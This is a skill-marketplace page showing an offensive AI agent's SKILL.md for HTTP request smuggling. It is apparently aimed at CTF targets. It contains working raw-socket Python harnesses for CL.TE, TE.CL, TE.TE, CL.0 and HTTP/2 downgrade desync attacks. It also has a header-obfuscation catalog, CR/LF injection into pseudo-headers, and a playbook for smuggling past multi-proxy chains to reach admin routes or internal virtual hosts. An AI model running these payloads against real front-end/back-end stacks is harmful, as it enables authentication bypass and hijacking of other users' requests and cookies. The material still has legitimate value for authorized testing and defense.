Skip to main content

smuggling

HTTP Request Smuggling (HRS) — front-end / back-end parser disagreement attacks that desync the proxy stack. Covers CL.TE, TE.CL, TE.TE, CL.0, HTTP/2 downgrade (h2.cl, h2.te), pipelining, and connection-state pinning. Includes a confirm-desync gate, header obfuscation catalog, and minimal raw-socket Python harnesses (no smuggler.py available in sandbox).

インストールへ移動

ソース情報

リポジトリ
BitterSecurity/Decepticon
ソースの最終更新活動
2026年6月2日 21:04
検出された SKILL.md の言語
英語
スター
5,565
フォーク
1,053

インストール方法

デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。

ソースファイルを確認

インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。

SKILL.md を表示中

SKILL.md
ソースの指示 · 読み取り専用プレビュー
name
smuggling
description
HTTP Request Smuggling (HRS) — front-end / back-end parser disagreement attacks that desync the proxy stack. Covers CL.TE, TE.CL, TE.TE, CL.0, HTTP/2 downgrade (h2.cl, h2.te), pipelining, and connection-state pinning. Includes a confirm-desync gate, header obfuscation catalog, and minimal raw-socket Python harnesses (no smuggler.py available in sandbox).
metadata
{"subdomain":"web-exploitation","mitre_attack":"T1190","when_to_use":"HTTP request smuggling, HRS, request smuggling, desync, CL.TE, TE.CL, TE.TE, h2.cl, h2.te, HTTP/2 downgrade, HTTP downgrade, h2c smuggling, pipelining, header folding, content-length transfer-encoding mismatch, frontend backend disagreement, multi-proxy stack, CDN frontend, reverse proxy, smuggling_desync challenge tag, hrs"}
# HTTP Request Smuggling (Desync) Exploits parser disagreement between two HTTP intermediaries on the same connection (front-end CDN/proxy ↔ back-end origin). When one side ends a request at byte X and the other at byte Y, the bytes between X and Y are the "smuggled" prefix of the next victim request — letting the attacker rewrite the next user's request, steal cookies/headers, or hit auth-bypassed routes. ## When This Skill Is Primary HRS bypasses authentication and authorization at the front-end/back-end boundary — it does NOT need correct credentials. **When `smuggling_desync` (or `request_smuggling` / `hrs` / `desync`) co-occurs with credential-related tags (`default_credentials`, `jwt`, `weak_password`), smuggling IS the primary attack vector.** Credential brute-force is a fallback only after the confirm-desync gate (below) fires NEGATIVE. Reasoning: a CTF that ships both tags is signaling "you have a low-priv account (`test:test`, etc.) — use it as your session anchor and bypass the role check via parser disagreement." Burning the time budget on `admin:*` brute-force misses the design entirely. Use the low-priv credentials as the OUTER request session; smuggle the privileged INNER request. The same logic applies when `smuggling_desync` co-occurs with `cve` (the CVE is likely the desync primitive; e.g., CVE-2022-24766 is mitmproxy h1 smuggling — see Variant Catalog → CL.0 / pause-based desync below). ## Recognition Signals Trigger this skill when ANY of the following are present: - **Multi-proxy stack visible**: two `Server:` strings across responses (e.g. `cloudflare` then `gunicorn`); `Via:` header present; CDN/edge fingerprint (Cloudflare CF-RAY, AWS CloudFront, Akamai, Fastly). - **Differential 400/501** when sending duplicate/obfuscated `Transfer-Encoding` or `Content-Length` headers (one path 200, another 400/501). - **HTTP/2 frontend** with HTTP/1.1 backend (`alt-svc: h2`, `:status` pseudo-header, `HTTP/2` ALPN). Downgrades are the modern smuggling surface. - **Pipelining differences**: connection reused across requests with inconsistent framing. - **Challenge tag** includes `smuggling_desync`, `request_smuggling`, `hrs`, `desync`, or recon's "Frontend behavior" line says "frontend forwards malformed framing". - **Recon handoff** notes that the same payload yields different status codes when sent to different proxy hops or with different framing. ## Confirm-Desync Gate **STOP**. Before iterating ANY payload, prove a real desync exists. Differential parsing alone (different status codes from different headers) is NOT a smuggle — it is a hint. The gate is a single in-file Python probe that opens one TCP connection and pipelines two requests where the second is detectable only if the first leaked bytes into the connection buffer. ```bash timeout 60 python3 -u -c ' import socket, sys HOST, PORT = "<TARGET>", 443 # use 80 for plain HTTP USE_TLS = (PORT == 443) # CL.TE smuggling probe — front-end uses Content-Length, back-end uses Transfer-Encoding. # A real desync makes the back-end park "X" as the start of the NEXT request on this socket. smuggle = ( "POST / HTTP/1.1\r\n" "Host: <TARGET>\r\n" "Content-Length: 6\r\n" "Transfer-Encoding: chunked\r\n" "\r\n" "0\r\n" "\r\n" "X" # the smuggled prefix ) victim = ( "GET / HTTP/1.1\r\n" "Host: <TARGET>\r\n" "\r\n" ) s = socket.create_connection((HOST, PORT), timeout=5) if USE_TLS: import ssl s = ssl.create_default_context().wrap_socket(s, server_hostname=HOST) s.settimeout(5) s.sendall(smuggle.encode() + victim.encode()) buf = b"" try: while True: chunk = s.recv(4096) if not chunk: break buf += chunk if len(buf) > 16384: break except socket.timeout: pass finally: s.close() # Desync signal: victim request fails with 400/405 because "XGET" landed at backend. # Baseline GET / on the same target returns 200 — so 400/405 here is the smoke. sys.stdout.write(buf[:2048].decode(errors="replace")) sys.stdout.flush() ' 2>&1 | tee smuggle_gate.txt ``` **Pass criteria** (any one): - Second response shows `400 Bad Request` containing `XGET` / `Invalid method` / `bad request line`. - Connection closes after the first response with the second never sent (back-end ate the smuggled bytes). - Repeating the same probe on a fresh connection still 200s — i.e. the desync is connection-scoped. If gate FAILS (no pass criteria met before the harness's outer `timeout` fires): do NOT iterate variants. Hand back to recon with "no desync confirmed despite differential parsing — multi-proxy stack may not exist on this path". If gate PASSES: continue to the variant catalog with the same connection-pinning style. ## Variant Catalog Each variant is a single in-file Python harness. Always: - `sock.settimeout(<bounded>)` BEFORE `connect` AND before each `recv`. - Outer wall: `timeout <bounded> python3 -u -c '...'` (the gate may need a longer wall than per-variant iteration). - `python3 -u` for line-buffered stdout (or `sys.stdout.flush()`). - Bounded `recv` loop (max ~16 KB or break on empty). - ONE socket per variant; close it in `finally`. ### CL.TE (front=CL, back=TE) Front-end honors `Content-Length`, back-end honors `Transfer-Encoding: chunked`. Smuggle the prefix in the chunked body's terminating `0\r\n\r\n` overflow. ```python # timeout 30 python3 -u -c '...' import socket, ssl HOST, PORT, USE_TLS = "<TARGET>", 443, True req = ( "POST / HTTP/1.1\r\n" "Host: <TARGET>\r\n" "Content-Length: 13\r\n" "Transfer-Encoding: chunked\r\n" "\r\n" "0\r\n" "\r\n" "GPOST / HTTP/1.1\r\n" ) s = socket.create_connection((HOST, PORT), timeout=5) if USE_TLS: s = ssl.create_default_context().wrap_socket(s, server_hostname=HOST) s.settimeout(5) s.sendall(req.encode()) print(s.recv(4096).decode(errors="replace")) s.close() ``` ### TE.CL (front=TE, back=CL) Front-end uses chunked, back-end uses `Content-Length`. The chunked size declaration smuggles past the back-end's CL boundary. ```python body_smuggled = "GET /admin HTTP/1.1\r\nHost: <TARGET>\r\n\r\n" chunk_size = format(len(body_smuggled), "x") req = ( "POST / HTTP/1.1\r\n" "Host: <TARGET>\r\n" f"Content-Length: {len(chunk_size) + 2 + 2}\r\n" # only the chunk-size line + CRLF + 0\r\n "Transfer-Encoding: chunked\r\n" "\r\n" f"{chunk_size}\r\n" f"{body_smuggled}" "0\r\n" "\r\n" ) ``` ### TE.TE — Header Obfuscation Catalog Both proxies process `Transfer-Encoding`, but only one is fooled by an obfuscated header. Send TWO `TE` headers; if one parser accepts one and rejects the other, you get desync. | Obfuscation | Example header line | |-------------|--------------------| | Duplicate header | `Transfer-Encoding: chunked\r\nTransfer-Encoding: chunked` | | Space prefix | ` Transfer-Encoding: chunked` (leading SP) | | Tab prefix | `\tTransfer-Encoding: chunked` | | Mixed case | `Transfer-encoding: ChUnKeD` | | Trailing whitespace | `Transfer-Encoding : chunked` (SP before colon) | | Header folding (obsolete) | `Transfer-Encoding:\r\n chunked` (continuation line) | | Bogus value + valid | `Transfer-Encoding: cow\r\nTransfer-Encoding: chunked` | | Vertical tab | `Transfer-Encoding:\x0bchunked` | ```python # Example: duplicate-header TE.TE req = ( "POST / HTTP/1.1\r\n" "Host: <TARGET>\r\n" "Content-Length: 4\r\n" "Transfer-Encoding: chunked\r\n" "Transfer-Encoding: cow\r\n" # second TE confuses one of the two parsers "\r\n" "5c\r\nGPOST / HTTP/1.1\r\nHost: <TARGET>\r\n\r\n" "0\r\n\r\n" ) ``` ### CL.0 Back-end ignores `Content-Length` on certain methods/paths (treats them as `CL: 0`). Front-end forwards the body, back-end parses it as the next request. Common against static-asset paths or `OPTIONS` handlers. ```python req = ( "POST /static/foo.css HTTP/1.1\r\n" "Host: <TARGET>\r\n" "Content-Length: 38\r\n" "\r\n" "GET /admin HTTP/1.1\r\nHost: <TARGET>\r\n\r\n" ) ``` ### HTTP/2 Downgrade (h2.cl, h2.te) Front-end speaks HTTP/2, back-end speaks HTTP/1.1. The h2→h1 downgrader translates pseudo-headers and may forward `:method`, `:path`, and arbitrary header bytes (including CR/LF) into a back-end request line. Two flavors: - **h2.cl** — h2 request carries an explicit `content-length` longer/shorter than the data frame; downgrader forwards the declared CL, back-end mis-frames. - **h2.te** — h2 request carries `transfer-encoding: chunked`; some downgraders forward the header verbatim, the back-end then chunks while the front-end already CL-framed. Use a real h2 client (`hyper`, `h2`, `httpx[http2]`) — raw sockets are too painful here. Keep the same timeout discipline. ```python # pip install httpx h2 import httpx client = httpx.Client(http2=True, timeout=5.0, verify=True) # h2.te smuggle attempt r = client.post( "https://<TARGET>/", headers={"transfer-encoding": "chunked"}, content=b"0\r\n\r\nSMUGGLED PREFIX", ) print(r.status_code, r.headers.get("server"), r.text[:300]) ``` ### CR/LF Injection in HTTP/2 Pseudo-Headers If the downgrader does not strip CR/LF inside `:path` or other pseudo-header values, you can inject a full second request: ```python r = client.get( "https://<TARGET>/", headers={":path": "/x\r\nHost: evil\r\n\r\nGET /admin HTTP/1.1\r\nHost: <TARGET>\r\n\r\n"}, ) ``` Most h2 client libraries refuse to send CR/LF in pseudo-headers — you may need to monkeypatch the validator or drop to a low-level frame builder (`hyperframe`). ### Pipelining When a connection is keep-alive and the front-end forwards multiple requests on it, classic CL/TE confusion smuggles the SECOND request on the wire. The gate above is already a pipelining probe. ### Connection-State Pinning Some intermediaries pin the (frontend → backend) socket per first-Host-header. Smuggling a `Host: internal` prefix can rewrite which back-end vhost subsequent victim requests reach. Test by smuggling `Host: admin.<target>` and checking whether subsequent baseline requests now route there. ### Triple-tier (3+ proxy) desync matrix Production stacks rarely have just front/back. Typical chains: `CDN → WAF → LB → origin`, `MITM/observability proxy → reverse-proxy → app-server → app`, `cloud LB → ingress → service mesh → pod`. With N proxies in series there are N-1 hop boundaries, and **every hop boundary is a potential desync point** with its own parser-pair semantics. A payload that "doesn't work" on the outermost pair may smuggle perfectly across an inner pair. **Enumerate the chain first.** Tier identification is recon: response headers (`Via:`, `Server:`, `X-Forwarded-*`, `X-Cache:`, `X-Proxy-*`, repeated/duplicated values), behavioral fingerprints (which tier returns 4xx on which malformed input), timing (each hop adds latency), and source-disclosure paths in the engagement. Map the chain top-down before crafting payloads: | Step | Probe | What you learn | |------|-------|----------------| | 1 | `curl -sv <TARGET>/` 2>&1 \| grep -iE '^(server\|via\|x-)' | First-line tier (front-most CDN/WAF/MITM banner) | | 2 | Send a known-bad path → which tier 4xx's | Each tier's error fingerprint (HTML template, 4xx code shape) | | 3 | Send oversized header → which tier truncates / 431s | Buffer limits per tier (helps frame payload size) | | 4 | Send malformed TE / duplicate-CL → which tier errors WITH WHICH BODY | Reveals the parser strictness of EACH tier independently | | 5 | Send `OPTIONS *` → who answers | Reveals the back-most tier that responds, vs intermediates that proxy | Once you have N tiers, enumerate the N-1 desync targets: ``` T1 → T2 → T3 → T4 (origin) ^^^^^^^^ = pair AB: CL.TE / TE.CL / TE.TE matrix ^^^^^^^^ = pair BC: same matrix, different parsers ^^^^^^^^ = pair CD: same matrix, often differs again ``` **Probing each hop-boundary** — the same per-variant Python harness works, but you target a specific pair by exploiting that pair's parser asymmetry. Practical guidance: 1. **Start with the back-most pair you can prove was reached** (e.g. pair CD origin-adjacent). If you can smuggle to origin, you bypass every tier above without needing front-pair desync. Probe: smuggle a request whose response body is *visibly different from what the outer tiers would emit* (an internal vhost banner, an internal-only path served by origin). If the smuggled response surfaces, that pair desyncs. 2. **If origin-adjacent pair is locked** (modern app servers like nginx + apache often refuse CL+TE outright), walk OUTWARD one pair at a time. Each pair retains its own parser quirks regardless of upstream/downstream rigor — a strict origin can sit behind a tolerant MITM tier that desyncs the LB↔app boundary. 3. **Probe-pair-isolation trick**: send the same payload over a fresh TCP connection vs an existing keep-alive connection. If the keep-alive run yields a different response on the *second* request, the desync poisoned the back-end socket — that confirms an inner pair desyncs (the outer pair faithfully forwarded). New TCP shows the OUTER pair's behavior; reused connection shows the INNER pair behavior. 4. **`Via` header inversion**: if responses contain `Via: <tier-A>, <tier-B>` (typical of CDN+LB), smuggling that successfully bypasses tier-A will produce responses with `Via: <tier-B>` only (because tier-A never saw the smuggled inner request). Use the SHAPE of the `Via:` chain on a smuggled response vs a baseline response to confirm which pair was crossed. 5. **Triple-tier `Host` smuggle** (the common-stack admin-vhost win): when the chain is `MITM → LB(host-routing) → origin(vhost)` and LB chooses backend by `Host:` header, smuggling a fresh `Host: internal-admin.<target>` line in the inner request makes the LB route to an internal vhost the outer client could never reach. The two desync pairs you can use: - **Outer-pair desync** (MITM↔LB): inject the inner request past MITM so LB sees a new request with the attacker's `Host:`. Pair AB matrix from above. - **Inner-pair desync** (LB↔origin): keep MITM and LB in sync but desync at LB↔origin so origin processes a smuggled request with a different `Host:` than LB used for routing. Less common; signature is "LB-side ACL passed but origin served a different vhost's content." **Anti-pattern**: assuming the chain is 2-tier and iterating CL.TE / TE.CL endlessly against the outer pair when the desync surface is actually 2 hops inward. If 8+ outer-pair variants produce no response divergence, the outer pair is rigid — STOP and shift focus inward via the probe ladder above.
GitHubで見る
この SKILL.md は非常に大きいため、SkillsMP では最初のセクションだけを表示しています。 GitHubで見る